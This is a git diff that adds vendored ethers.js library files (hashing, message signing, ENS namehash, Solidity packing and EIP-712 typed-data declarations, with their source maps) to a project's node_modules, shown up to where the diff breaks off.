b/node_modules/ethers/lib.commonjs/hash/id.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"id.d.ts","sourceRoot":"","sources":["../../src.ts/hash/id.ts"],"names":[],"mappings":"AAGA;;;;;;;;;;GAUG;AACH,wBAAgB,EAAE,CAAC,KAAK,EAAE,MAAM,GAAG,MAAM,CAExC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/hash/id.js b/node_modules/ethers/lib.commonjs/hash/id.js new file mode 100644 index 000000000000..47dc59124d68 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/hash/id.js @@ -0,0 +1,21 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.id = void 0; +const index_js_1 = require("../crypto/index.js"); +const index_js_2 = require("../utils/index.js"); +/** + * A simple hashing function which operates on UTF-8 strings to + * compute an 32-byte identifier. + * + * This simply computes the [UTF-8 bytes](toUtf8Bytes) and computes + * the [[keccak256]]. + * + * @example: + * id("hello world") + * //_result: + */ +function id(value) { + return (0, index_js_1.keccak256)((0, index_js_2.toUtf8Bytes)(value)); +} +exports.id = id; +//# sourceMappingURL=id.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/hash/id.js.map b/node_modules/ethers/lib.commonjs/hash/id.js.map new file mode 100644 index 000000000000..3ba7863704a9 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/hash/id.js.map @@ -0,0 +1 @@ +{"version":3,"file":"id.js","sourceRoot":"","sources":["../../src.ts/hash/id.ts"],"names":[],"mappings":";;;AAAA,iDAA+C;AAC/C,gDAAgD;AAEhD;;;;;;;;;;GAUG;AACH,SAAgB,EAAE,CAAC,KAAa;IAC5B,OAAO,IAAA,oBAAS,EAAC,IAAA,sBAAW,EAAC,KAAK,CAAC,CAAC,CAAC;AACzC,CAAC;AAFD,gBAEC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/hash/index.d.ts b/node_modules/ethers/lib.commonjs/hash/index.d.ts new file mode 100644 index 000000000000..5b216e5246c2 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/hash/index.d.ts @@ -0,0 +1,15 @@ +/** + * Utilities for common tasks involving hashing. Also see + * [cryptographic hashing](about-crypto-hashing). + * + * @_section: api/hashing:Hashing Utilities [about-hashing] + */ +export { hashAuthorization, verifyAuthorization } from "./authorization.js"; +export { id } from "./id.js"; +export { ensNormalize, isValidName, namehash, dnsEncode } from "./namehash.js"; +export { hashMessage, verifyMessage } from "./message.js"; +export { solidityPacked, solidityPackedKeccak256, solidityPackedSha256 } from "./solidity.js"; +export { TypedDataEncoder, verifyTypedData } from "./typed-data.js"; +export type { AuthorizationRequest } from "./authorization.js"; +export type { TypedDataDomain, TypedDataField } from "./typed-data.js"; +//# sourceMappingURL=index.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/hash/index.d.ts.map b/node_modules/ethers/lib.commonjs/hash/index.d.ts.map new file mode 100644 index 000000000000..7fec7492284b --- /dev/null +++ b/node_modules/ethers/lib.commonjs/hash/index.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src.ts/hash/index.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AAEH,OAAO,EAAE,iBAAiB,EAAE,mBAAmB,EAAE,MAAM,oBAAoB,CAAC;AAC5E,OAAO,EAAE,EAAE,EAAE,MAAM,SAAS,CAAA;AAC5B,OAAO,EAAE,YAAY,EAAE,WAAW,EAAE,QAAQ,EAAE,SAAS,EAAE,MAAM,eAAe,CAAC;AAC/E,OAAO,EAAE,WAAW,EAAE,aAAa,EAAE,MAAM,cAAc,CAAC;AAC1D,OAAO,EACH,cAAc,EAAE,uBAAuB,EAAE,oBAAoB,EAChE,MAAM,eAAe,CAAC;AACvB,OAAO,EAAE,gBAAgB,EAAE,eAAe,EAAE,MAAM,iBAAiB,CAAC;AAEpE,YAAY,EAAE,oBAAoB,EAAE,MAAM,oBAAoB,CAAC;AAC/D,YAAY,EAAE,eAAe,EAAE,cAAc,EAAE,MAAM,iBAAiB,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/hash/index.js b/node_modules/ethers/lib.commonjs/hash/index.js new file mode 100644 index 000000000000..157e78c5cc92 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/hash/index.js @@ -0,0 +1,30 @@ +"use strict"; +/** + * Utilities for common tasks involving hashing. Also see + * [cryptographic hashing](about-crypto-hashing). + * + * @_section: api/hashing:Hashing Utilities [about-hashing] + */ +Object.defineProperty(exports, "__esModule", { value: true }); +exports.verifyTypedData = exports.TypedDataEncoder = exports.solidityPackedSha256 = exports.solidityPackedKeccak256 = exports.solidityPacked = exports.verifyMessage = exports.hashMessage = exports.dnsEncode = exports.namehash = exports.isValidName = exports.ensNormalize = exports.id = exports.verifyAuthorization = exports.hashAuthorization = void 0; +var authorization_js_1 = require("./authorization.js"); +Object.defineProperty(exports, "hashAuthorization", { enumerable: true, get: function () { return authorization_js_1.hashAuthorization; } }); +Object.defineProperty(exports, "verifyAuthorization", { enumerable: true, get: function () { return authorization_js_1.verifyAuthorization; } }); +var id_js_1 = require("./id.js"); +Object.defineProperty(exports, "id", { enumerable: true, get: function () { return id_js_1.id; } }); +var namehash_js_1 = require("./namehash.js"); +Object.defineProperty(exports, "ensNormalize", { enumerable: true, get: function () { return namehash_js_1.ensNormalize; } }); +Object.defineProperty(exports, "isValidName", { enumerable: true, get: function () { return namehash_js_1.isValidName; } }); +Object.defineProperty(exports, "namehash", { enumerable: true, get: function () { return namehash_js_1.namehash; } }); +Object.defineProperty(exports, "dnsEncode", { enumerable: true, get: function () { return namehash_js_1.dnsEncode; } }); +var message_js_1 = require("./message.js"); +Object.defineProperty(exports, "hashMessage", { enumerable: true, get: function () { return message_js_1.hashMessage; } }); +Object.defineProperty(exports, "verifyMessage", { enumerable: true, get: function () { return message_js_1.verifyMessage; } }); +var solidity_js_1 = require("./solidity.js"); +Object.defineProperty(exports, "solidityPacked", { enumerable: true, get: function () { return solidity_js_1.solidityPacked; } }); +Object.defineProperty(exports, "solidityPackedKeccak256", { enumerable: true, get: function () { return solidity_js_1.solidityPackedKeccak256; } }); +Object.defineProperty(exports, "solidityPackedSha256", { enumerable: true, get: function () { return solidity_js_1.solidityPackedSha256; } }); +var typed_data_js_1 = require("./typed-data.js"); +Object.defineProperty(exports, "TypedDataEncoder", { enumerable: true, get: function () { return typed_data_js_1.TypedDataEncoder; } }); +Object.defineProperty(exports, "verifyTypedData", { enumerable: true, get: function () { return typed_data_js_1.verifyTypedData; } }); +//# sourceMappingURL=index.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/hash/index.js.map b/node_modules/ethers/lib.commonjs/hash/index.js.map new file mode 100644 index 000000000000..b979ffe8d710 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/hash/index.js.map @@ -0,0 +1 @@ +{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src.ts/hash/index.ts"],"names":[],"mappings":";AAAA;;;;;GAKG;;;AAEH,uDAA4E;AAAnE,qHAAA,iBAAiB,OAAA;AAAE,uHAAA,mBAAmB,OAAA;AAC/C,iCAA4B;AAAnB,2FAAA,EAAE,OAAA;AACX,6CAA+E;AAAtE,2GAAA,YAAY,OAAA;AAAE,0GAAA,WAAW,OAAA;AAAE,uGAAA,QAAQ,OAAA;AAAE,wGAAA,SAAS,OAAA;AACvD,2CAA0D;AAAjD,yGAAA,WAAW,OAAA;AAAE,2GAAA,aAAa,OAAA;AACnC,6CAEuB;AADnB,6GAAA,cAAc,OAAA;AAAE,sHAAA,uBAAuB,OAAA;AAAE,mHAAA,oBAAoB,OAAA;AAEjE,iDAAoE;AAA3D,iHAAA,gBAAgB,OAAA;AAAE,gHAAA,eAAe,OAAA"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/hash/message.d.ts b/node_modules/ethers/lib.commonjs/hash/message.d.ts new file mode 100644 index 000000000000..9e088beb25cd --- /dev/null +++ b/node_modules/ethers/lib.commonjs/hash/message.d.ts @@ -0,0 +1,36 @@ +import type { SignatureLike } from "../crypto/index.js"; +/** + * Computes the [[link-eip-191]] personal-sign message digest to sign. + * + * This prefixes the message with [[MessagePrefix]] and the decimal length + * of %%message%% and computes the [[keccak256]] digest. + * + * If %%message%% is a string, it is converted to its UTF-8 bytes + * first. To compute the digest of a [[DataHexString]], it must be converted + * to [bytes](getBytes). + * + * @example: + * hashMessage("Hello World") + * //_result: + * + * // Hashes the SIX (6) string characters, i.e. + * // [ "0", "x", "4", "2", "4", "3" ] + * hashMessage("0x4243") + * //_result: + * + * // Hashes the TWO (2) bytes [ 0x42, 0x43 ]... + * hashMessage(getBytes("0x4243")) + * //_result: + * + * // ...which is equal to using data + * hashMessage(new Uint8Array([ 0x42, 0x43 ])) + * //_result: + * + */ +export declare function hashMessage(message: Uint8Array | string): string; +/** + * Return the address of the private key that produced + * the signature %%sig%% during signing for %%message%%. + */ +export declare function verifyMessage(message: Uint8Array | string, sig: SignatureLike): string; +//# sourceMappingURL=message.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/hash/message.d.ts.map b/node_modules/ethers/lib.commonjs/hash/message.d.ts.map new file mode 100644 index 000000000000..d57b122354b9 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/hash/message.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"message.d.ts","sourceRoot":"","sources":["../../src.ts/hash/message.ts"],"names":[],"mappings":"AAKA,OAAO,KAAK,EAAE,aAAa,EAAE,MAAM,oBAAoB,CAAC;AACxD;;;;;;;;;;;;;;;;;;;;;;;;;;;GA2BG;AACH,wBAAgB,WAAW,CAAC,OAAO,EAAE,UAAU,GAAG,MAAM,GAAG,MAAM,CAOhE;AAED;;;GAGG;AACH,wBAAgB,aAAa,CAAC,OAAO,EAAE,UAAU,GAAG,MAAM,EAAE,GAAG,EAAE,aAAa,GAAG,MAAM,CAGtF"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/hash/message.js b/node_modules/ethers/lib.commonjs/hash/message.js new file mode 100644 index 000000000000..cc5da95bc12e --- /dev/null +++ b/node_modules/ethers/lib.commonjs/hash/message.js @@ -0,0 +1,56 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.verifyMessage = exports.hashMessage = void 0; +const index_js_1 = require("../crypto/index.js"); +const index_js_2 = require("../constants/index.js"); +const index_js_3 = require("../transaction/index.js"); +const index_js_4 = require("../utils/index.js"); +/** + * Computes the [[link-eip-191]] personal-sign message digest to sign. + * + * This prefixes the message with [[MessagePrefix]] and the decimal length + * of %%message%% and computes the [[keccak256]] digest. + * + * If %%message%% is a string, it is converted to its UTF-8 bytes + * first. To compute the digest of a [[DataHexString]], it must be converted + * to [bytes](getBytes). + * + * @example: + * hashMessage("Hello World") + * //_result: + * + * // Hashes the SIX (6) string characters, i.e. + * // [ "0", "x", "4", "2", "4", "3" ] + * hashMessage("0x4243") + * //_result: + * + * // Hashes the TWO (2) bytes [ 0x42, 0x43 ]... + * hashMessage(getBytes("0x4243")) + * //_result: + * + * // ...which is equal to using data + * hashMessage(new Uint8Array([ 0x42, 0x43 ])) + * //_result: + * + */ +function hashMessage(message) { + if (typeof (message) === "string") { + message = (0, index_js_4.toUtf8Bytes)(message); + } + return (0, index_js_1.keccak256)((0, index_js_4.concat)([ + (0, index_js_4.toUtf8Bytes)(index_js_2.MessagePrefix), + (0, index_js_4.toUtf8Bytes)(String(message.length)), + message + ])); +} +exports.hashMessage = hashMessage; +/** + * Return the address of the private key that produced + * the signature %%sig%% during signing for %%message%%. + */ +function verifyMessage(message, sig) { + const digest = hashMessage(message); + return (0, index_js_3.recoverAddress)(digest, sig); +} +exports.verifyMessage = verifyMessage; +//# sourceMappingURL=message.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/hash/message.js.map b/node_modules/ethers/lib.commonjs/hash/message.js.map new file mode 100644 index 000000000000..203310522e85 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/hash/message.js.map @@ -0,0 +1 @@ +{"version":3,"file":"message.js","sourceRoot":"","sources":["../../src.ts/hash/message.ts"],"names":[],"mappings":";;;AAAA,iDAA+C;AAC/C,oDAAsD;AACtD,sDAAyD;AACzD,gDAAwD;AAGxD;;;;;;;;;;;;;;;;;;;;;;;;;;;GA2BG;AACH,SAAgB,WAAW,CAAC,OAA4B;IACpD,IAAI,OAAM,CAAC,OAAO,CAAC,KAAK,QAAQ,EAAE;QAAE,OAAO,GAAG,IAAA,sBAAW,EAAC,OAAO,CAAC,CAAC;KAAE;IACrE,OAAO,IAAA,oBAAS,EAAC,IAAA,iBAAM,EAAC;QACpB,IAAA,sBAAW,EAAC,wBAAa,CAAC;QAC1B,IAAA,sBAAW,EAAC,MAAM,CAAC,OAAO,CAAC,MAAM,CAAC,CAAC;QACnC,OAAO;KACV,CAAC,CAAC,CAAC;AACR,CAAC;AAPD,kCAOC;AAED;;;GAGG;AACH,SAAgB,aAAa,CAAC,OAA4B,EAAE,GAAkB;IAC1E,MAAM,MAAM,GAAG,WAAW,CAAC,OAAO,CAAC,CAAC;IACpC,OAAO,IAAA,yBAAc,EAAC,MAAM,EAAE,GAAG,CAAC,CAAC;AACvC,CAAC;AAHD,sCAGC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/hash/namehash.d.ts b/node_modules/ethers/lib.commonjs/hash/namehash.d.ts new file mode 100644 index 000000000000..d29b9c11866c --- /dev/null +++ b/node_modules/ethers/lib.commonjs/hash/namehash.d.ts @@ -0,0 +1,20 @@ +/** + * Returns the ENS %%name%% normalized. + */ +export declare function ensNormalize(name: string): string; +/** + * Returns ``true`` if %%name%% is a valid ENS name. + */ +export declare function isValidName(name: string): name is string; +/** + * Returns the [[link-namehash]] for %%name%%. + */ +export declare function namehash(name: string): string; +/** + * Returns the DNS encoded %%name%%. + * + * This is used for various parts of ENS name resolution, such + * as the wildcard resolution. + */ +export declare function dnsEncode(name: string, _maxLength?: number): string; +//# sourceMappingURL=namehash.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/hash/namehash.d.ts.map b/node_modules/ethers/lib.commonjs/hash/namehash.d.ts.map new file mode 100644 index 000000000000..af0b8eaef2a9 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/hash/namehash.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"namehash.d.ts","sourceRoot":"","sources":["../../src.ts/hash/namehash.ts"],"names":[],"mappings":"AAyCA;;GAEG;AACH,wBAAgB,YAAY,CAAC,IAAI,EAAE,MAAM,GAAG,MAAM,CAOjD;AAED;;GAEG;AACH,wBAAgB,WAAW,CAAC,IAAI,EAAE,MAAM,GAAG,IAAI,IAAI,MAAM,CAKxD;AAED;;GAEG;AACH,wBAAgB,QAAQ,CAAC,IAAI,EAAE,MAAM,GAAG,MAAM,CAa7C;AAED;;;;;GAKG;AACH,wBAAgB,SAAS,CAAC,IAAI,EAAE,MAAM,EAAE,UAAU,CAAC,EAAE,MAAM,GAAG,MAAM,CAanE"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/hash/namehash.js b/node_modules/ethers/lib.commonjs/hash/namehash.js new file mode 100644 index 000000000000..c11fae0a1f98 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/hash/namehash.js @@ -0,0 +1,91 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.dnsEncode = exports.namehash = exports.isValidName = exports.ensNormalize = void 0; +const index_js_1 = require("../crypto/index.js"); +const index_js_2 = require("../utils/index.js"); +const ens_normalize_1 = require("@adraffy/ens-normalize"); +const Zeros = new Uint8Array(32); +Zeros.fill(0); +function checkComponent(comp) { + (0, index_js_2.assertArgument)(comp.length !== 0, "invalid ENS name; empty component", "comp", comp); + return comp; +} +function ensNameSplit(name) { + const bytes = (0, index_js_2.toUtf8Bytes)(ensNormalize(name)); + const comps = []; + if (name.length === 0) { + return comps; + } + let last = 0; + for (let i = 0; i < bytes.length; i++) { + const d = bytes[i]; + // A separator (i.e. "."); copy this component + if (d === 0x2e) { + comps.push(checkComponent(bytes.slice(last, i))); + last = i + 1; + } + } + // There was a stray separator at the end of the name + (0, index_js_2.assertArgument)(last < bytes.length, "invalid ENS name; empty component", "name", name); + comps.push(checkComponent(bytes.slice(last))); + return comps; +} +/** + * Returns the ENS %%name%% normalized. + */ +function ensNormalize(name) { + try { + if (name.length === 0) { + throw new Error("empty label"); + } + return (0, ens_normalize_1.ens_normalize)(name); + } + catch (error) { + (0, index_js_2.assertArgument)(false, `invalid ENS name (${error.message})`, "name", name); + } +} +exports.ensNormalize = ensNormalize; +/** + * Returns ``true`` if %%name%% is a valid ENS name. + */ +function isValidName(name) { + try { + return (ensNameSplit(name).length !== 0); + } + catch (error) { } + return false; +} +exports.isValidName = isValidName; +/** + * Returns the [[link-namehash]] for %%name%%. + */ +function namehash(name) { + (0, index_js_2.assertArgument)(typeof (name) === "string", "invalid ENS name; not a string", "name", name); + (0, index_js_2.assertArgument)(name.length, `invalid ENS name (empty label)`, "name", name); + let result = Zeros; + const comps = ensNameSplit(name); + while (comps.length) { + result = (0, index_js_1.keccak256)((0, index_js_2.concat)([result, (0, index_js_1.keccak256)((comps.pop()))])); + } + return (0, index_js_2.hexlify)(result); +} +exports.namehash = namehash; +/** + * Returns the DNS encoded %%name%%. + * + * This is used for various parts of ENS name resolution, such + * as the wildcard resolution. + */ +function dnsEncode(name, _maxLength) { + const length = (_maxLength != null) ? _maxLength : 63; + (0, index_js_2.assertArgument)(length <= 255, "DNS encoded label cannot exceed 255", "length", length); + return (0, index_js_2.hexlify)((0, index_js_2.concat)(ensNameSplit(name).map((comp) => { + (0, index_js_2.assertArgument)(comp.length <= length, `label ${JSON.stringify(name)} exceeds ${length} bytes`, "name", name); + const bytes = new Uint8Array(comp.length + 1); + bytes.set(comp, 1); + bytes[0] = bytes.length - 1; + return bytes; + }))) + "00"; +} +exports.dnsEncode = dnsEncode; +//# sourceMappingURL=namehash.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/hash/namehash.js.map b/node_modules/ethers/lib.commonjs/hash/namehash.js.map new file mode 100644 index 000000000000..288c23e97244 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/hash/namehash.js.map @@ -0,0 +1 @@ +{"version":3,"file":"namehash.js","sourceRoot":"","sources":["../../src.ts/hash/namehash.ts"],"names":[],"mappings":";;;AACA,iDAA+C;AAC/C,gDAE2B;AAG3B,0DAAuD;AAEvD,MAAM,KAAK,GAAG,IAAI,UAAU,CAAC,EAAE,CAAC,CAAC;AACjC,KAAK,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;AAEd,SAAS,cAAc,CAAC,IAAgB;IACpC,IAAA,yBAAc,EAAC,IAAI,CAAC,MAAM,KAAK,CAAC,EAAE,mCAAmC,EAAE,MAAM,EAAE,IAAI,CAAC,CAAA;IACpF,OAAO,IAAI,CAAC;AAChB,CAAC;AAED,SAAS,YAAY,CAAC,IAAY;IAC9B,MAAM,KAAK,GAAG,IAAA,sBAAW,EA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SAAU,IAAI,CAAC,SAAS,CAAC,IAAI,CAAE,YAAa,MAAO,QAAQ,EAAE,MAAM,EAAE,IAAI,CAAC,CAAC;QAEjH,MAAM,KAAK,GAAG,IAAI,UAAU,CAAC,IAAI,CAAC,MAAM,GAAG,CAAC,CAAC,CAAC;QAC9C,KAAK,CAAC,GAAG,CAAC,IAAI,EAAE,CAAC,CAAC,CAAC;QACnB,KAAK,CAAC,CAAC,CAAC,GAAG,KAAK,CAAC,MAAM,GAAG,CAAC,CAAC;QAC5B,OAAO,KAAK,CAAC;IACjB,CAAC,CAAC,CAAC,CAAC,GAAG,IAAI,CAAC;AAChB,CAAC;AAbD,8BAaC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/hash/solidity.d.ts b/node_modules/ethers/lib.commonjs/hash/solidity.d.ts new file mode 100644 index 000000000000..9b8035ebad5c --- /dev/null +++ b/node_modules/ethers/lib.commonjs/hash/solidity.d.ts @@ -0,0 +1,31 @@ +/** + * Computes the [[link-solc-packed]] representation of %%values%% + * respectively to their %%types%%. + * + * @example: + * addr = "0x8ba1f109551bd432803012645ac136ddd64dba72" + * solidityPacked([ "address", "uint" ], [ addr, 45 ]); + * //_result: + */ +export declare function solidityPacked(types: ReadonlyArray, values: ReadonlyArray): string; +/** + * Computes the [[link-solc-packed]] [[keccak256]] hash of %%values%% + * respectively to their %%types%%. + * + * @example: + * addr = "0x8ba1f109551bd432803012645ac136ddd64dba72" + * solidityPackedKeccak256([ "address", "uint" ], [ addr, 45 ]); + * //_result: + */ +export declare function solidityPackedKeccak256(types: ReadonlyArray, values: ReadonlyArray): string; +/** + * Computes the [[link-solc-packed]] [[sha256]] hash of %%values%% + * respectively to their %%types%%. + * + * @example: + * addr = "0x8ba1f109551bd432803012645ac136ddd64dba72" + * solidityPackedSha256([ "address", "uint" ], [ addr, 45 ]); + * //_result: + */ +export declare function solidityPackedSha256(types: ReadonlyArray, values: ReadonlyArray): string; +//# sourceMappingURL=solidity.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/hash/solidity.d.ts.map b/node_modules/ethers/lib.commonjs/hash/solidity.d.ts.map new file mode 100644 index 000000000000..742707df33ea --- /dev/null +++ b/node_modules/ethers/lib.commonjs/hash/solidity.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"solidity.d.ts","sourceRoot":"","sources":["../../src.ts/hash/solidity.ts"],"names":[],"mappings":"AAyEA;;;;;;;;GAQG;AACH,wBAAgB,cAAc,CAAC,KAAK,EAAE,aAAa,CAAC,MAAM,CAAC,EAAE,MAAM,EAAE,aAAa,CAAC,GAAG,CAAC,GAAG,MAAM,CAQ/F;AAED;;;;;;;;GAQG;AACH,wBAAgB,uBAAuB,CAAC,KAAK,EAAE,aAAa,CAAC,MAAM,CAAC,EAAE,MAAM,EAAE,aAAa,CAAC,GAAG,CAAC,GAAG,MAAM,CAExG;AAED;;;;;;;;GAQG;AACH,wBAAgB,oBAAoB,CAAC,KAAK,EAAE,aAAa,CAAC,MAAM,CAAC,EAAE,MAAM,EAAE,aAAa,CAAC,GAAG,CAAC,GAAG,MAAM,CAErG"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/hash/solidity.js b/node_modules/ethers/lib.commonjs/hash/solidity.js new file mode 100644 index 000000000000..c828e270d1cc --- /dev/null +++ b/node_modules/ethers/lib.commonjs/hash/solidity.js @@ -0,0 +1,109 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.solidityPackedSha256 = exports.solidityPackedKeccak256 = exports.solidityPacked = void 0; +const index_js_1 = require("../address/index.js"); +const index_js_2 = require("../crypto/index.js"); +const index_js_3 = require("../utils/index.js"); +const regexBytes = new RegExp("^bytes([0-9]+)$"); +const regexNumber = new RegExp("^(u?int)([0-9]*)$"); +const regexArray = new RegExp("^(.*)\\[([0-9]*)\\]$"); +function _pack(type, value, isArray) { + switch (type) { + case "address": + if (isArray) { + return (0, index_js_3.getBytes)((0, index_js_3.zeroPadValue)(value, 32)); + } + return (0, index_js_3.getBytes)((0, index_js_1.getAddress)(value)); + case "string": + return (0, index_js_3.toUtf8Bytes)(value); + case "bytes": + return (0, index_js_3.getBytes)(value); + case "bool": + value = (!!value ? "0x01" : "0x00"); + if (isArray) { + return (0, index_js_3.getBytes)((0, index_js_3.zeroPadValue)(value, 32)); + } + return (0, index_js_3.getBytes)(value); + } + let match = type.match(regexNumber); + if (match) { + let signed = (match[1] === "int"); + let size = parseInt(match[2] || "256"); + (0, index_js_3.assertArgument)((!match[2] || match[2] === String(size)) && (size % 8 === 0) && size !== 0 && size <= 256, "invalid number type", "type", type); + if (isArray) { + size = 256; + } + if (signed) { + value = (0, index_js_3.toTwos)(value, size); + } + return (0, index_js_3.getBytes)((0, index_js_3.zeroPadValue)((0, index_js_3.toBeArray)(value), size / 8)); + } + match = type.match(regexBytes); + if (match) { + const size = parseInt(match[1]); + (0, index_js_3.assertArgument)(String(size) === match[1] && size !== 0 && size <= 32, "invalid bytes type", "type", type); + (0, index_js_3.assertArgument)((0, index_js_3.dataLength)(value) === size, `invalid value for ${type}`, "value", value); + if (isArray) { + return (0, index_js_3.getBytes)((0, index_js_3.zeroPadBytes)(value, 32)); + } + return value; + } + match = type.match(regexArray); + if (match && Array.isArray(value)) { + const baseType = match[1]; + const count = parseInt(match[2] || String(value.length)); + (0, index_js_3.assertArgument)(count === value.length, `invalid array length for ${type}`, "value", value); + const result = []; + value.forEach(function (value) { + result.push(_pack(baseType, value, true)); + }); + return (0, index_js_3.getBytes)((0, index_js_3.concat)(result)); + } + (0, index_js_3.assertArgument)(false, "invalid type", "type", type); +} +// @TODO: Array Enum +/** + * Computes the [[link-solc-packed]] representation of %%values%% + * respectively to their %%types%%. + * + * @example: + * addr = "0x8ba1f109551bd432803012645ac136ddd64dba72" + * solidityPacked([ "address", "uint" ], [ addr, 45 ]); + * //_result: + */ +function solidityPacked(types, values) { + (0, index_js_3.assertArgument)(types.length === values.length, "wrong number of values; expected ${ types.length }", "values", values); + const tight = []; + types.forEach(function (type, index) { + tight.push(_pack(type, values[index])); + }); + return (0, index_js_3.hexlify)((0, index_js_3.concat)(tight)); +} +exports.solidityPacked = solidityPacked; +/** + * Computes the [[link-solc-packed]] [[keccak256]] hash of %%values%% + * respectively to their %%types%%. + * + * @example: + * addr = "0x8ba1f109551bd432803012645ac136ddd64dba72" + * solidityPackedKeccak256([ "address", "uint" ], [ addr, 45 ]); + * //_result: + */ +function solidityPackedKeccak256(types, values) { + return (0, index_js_2.keccak256)(solidityPacked(types, values)); +} +exports.solidityPackedKeccak256 = solidityPackedKeccak256; +/** + * Computes the [[link-solc-packed]] [[sha256]] hash of %%values%% + * respectively to their %%types%%. + * + * @example: + * addr = "0x8ba1f109551bd432803012645ac136ddd64dba72" + * solidityPackedSha256([ "address", "uint" ], [ addr, 45 ]); + * //_result: + */ +function solidityPackedSha256(types, values) { + return (0, index_js_2.sha256)(solidityPacked(types, values)); +} +exports.solidityPackedSha256 = solidityPackedSha256; +//# sourceMappingURL=solidity.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/hash/solidity.js.map b/node_modules/ethers/lib.commonjs/hash/solidity.js.map new file mode 100644 index 000000000000..2ba9e5ef7390 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/hash/solidity.js.map @@ -0,0 +1 @@ +{"version":3,"file":"solidity.js","sourceRoot":"","sources":["../../src.ts/hash/solidity.ts"],"names":[],"mappings":";;;AAAA,kDAAiD;AACjD,iDAE4B;AAC5B,gDAG2B;AAG3B,MAAM,UAAU,GAAG,IAAI,MAAM,CAAC,iBAAiB,CAAC,CAAC;AACjD,MAAM,WAAW,GAAG,IAAI,MAAM,CAAC,mBAAmB,CAAC,CAAC;AACpD,MAAM,UAAU,GAAG,IAAI,MAAM,CAAC,sBAAsB,CAAC,CAAC;AAGtD,SAAS,KAAK,CAAC,IAAY,EAAE,KAAU,EAAE,OAAiB;IACtD,QAAO,IAAI,EAAE;QACT,KAAK,SAAS;YACV,IAAI,OAAO,EAAE;gBAAE,OAAO,I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ethers/lib.commonjs/hash/typed-data.d.ts b/node_modules/ethers/lib.commonjs/hash/typed-data.d.ts new file mode 100644 index 000000000000..47c345b14346 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/hash/typed-data.d.ts @@ -0,0 +1,150 @@ +import type { SignatureLike } from "../crypto/index.js"; +import type { BigNumberish, BytesLike } from "../utils/index.js"; +/** + * The domain for an [[link-eip-712]] payload. + */ +export interface TypedDataDomain { + /** + * The human-readable name of the signing domain. + */ + name?: null | string; + /** + * The major version of the signing domain. + */ + version?: null | string; + /** + * The chain ID of the signing domain. + */ + chainId?: null | BigNumberish; + /** + * The the address of the contract that will verify the signature. + */ + verifyingContract?: null | string; + /** + * A salt used for purposes decided by the specific domain. + */ + salt?: null | BytesLike; +} +/** + * A specific field of a structured [[link-eip-712]] type. + */ +export interface TypedDataField { + /** + * The field name. + */ + name: string; + /** + * The type of the field. + */ + type: string; +} +/** + * A **TypedDataEncode** prepares and encodes [[link-eip-712]] payloads + * for signed typed data. + * + * This is useful for those that wish to compute various components of a + * typed data hash, primary types, or sub-components, but generally the + * higher level [[Signer-signTypedData]] is more useful. + */ +export declare class TypedDataEncoder { + #private; + /** + * The primary type for the structured [[types]]. + * + * This is derived automatically from the [[types]], since no + * recursion is possible, once the DAG for the types is consturcted + * internally, the primary type must be the only remaining type with + * no parent nodes. + */ + readonly primaryType: string; + /** + * The types. + */ + get types(): Record>; + /** + * Create a new **TypedDataEncoder** for %%types%%. + * + * This performs all necessary checking that types are valid and + * do not violate the [[link-eip-712]] structural constraints as + * well as computes the [[primaryType]]. + */ + constructor(_types: Record>); + /** + * Returnthe encoder for the specific %%type%%. + */ + getEncoder(type: string): (value: any) => string; + /** + * Return the full type for %%name%%. + */ + encodeType(name: string): string; + /** + * Return the encoded %%value%% for the %%type%%. + */ + encodeData(type: string, value: any): string; + /** + * Returns the hash of %%value%% for the type of %%name%%. + */ + hashStruct(name: string, value: Record): string; + /** + * Return the fulled encoded %%value%% for the [[types]]. + */ + encode(value: Record): string; + /** + * Return the hash of the fully encoded %%value%% for the [[types]]. + */ + hash(value: Record): string; + /** + * @_ignore: + */ + _visit(type: string, value: any, callback: (type: string, data: any) => any): any; + /** + * Call %%calback%% for each value in %%value%%, passing the type and + * component within %%value%%. + * + * This is useful for replacing addresses or other transformation that + * may be desired on each component, based on its type. + */ + visit(value: Record, callback: (type: string, data: any) => any): any; + /** + * Create a new **TypedDataEncoder** 